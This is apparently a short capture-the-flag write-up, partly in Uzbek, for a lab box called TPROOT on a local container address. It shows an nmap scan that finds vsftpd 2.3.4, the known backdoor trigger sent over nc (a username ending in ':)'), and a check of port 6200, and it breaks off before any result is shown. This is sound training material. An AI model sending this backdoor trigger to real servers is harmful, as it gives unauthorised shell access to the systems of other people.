TPROOT— Write-up

1. Ishga tushirish

./auto_deploy.sh tproot.tar

TARGET IP: 172.17.0.2

2. Recon

nmap -Pn -sV -sC -p- --min-rate 2000 172.17.0.2

Natija:

21/tcp open  ftp  vsftpd 2.3.4
80/tcp open  http Apache httpd 2.4.58

HTTP faqat standart Apache sahifasini ko‘rsatdi. vsftpd 2.3.4 esa ma’lum backdoor zaifligiga ega.

3. Exploit

FTP bannerini tekshirish:

nc 172.17.0.2 21

Backdoor trigger:

USER test:)
PASS test

So‘ngra yangi portni tekshiramiz:

nmap -Pn -p 6200 172.17.0.2

Natija: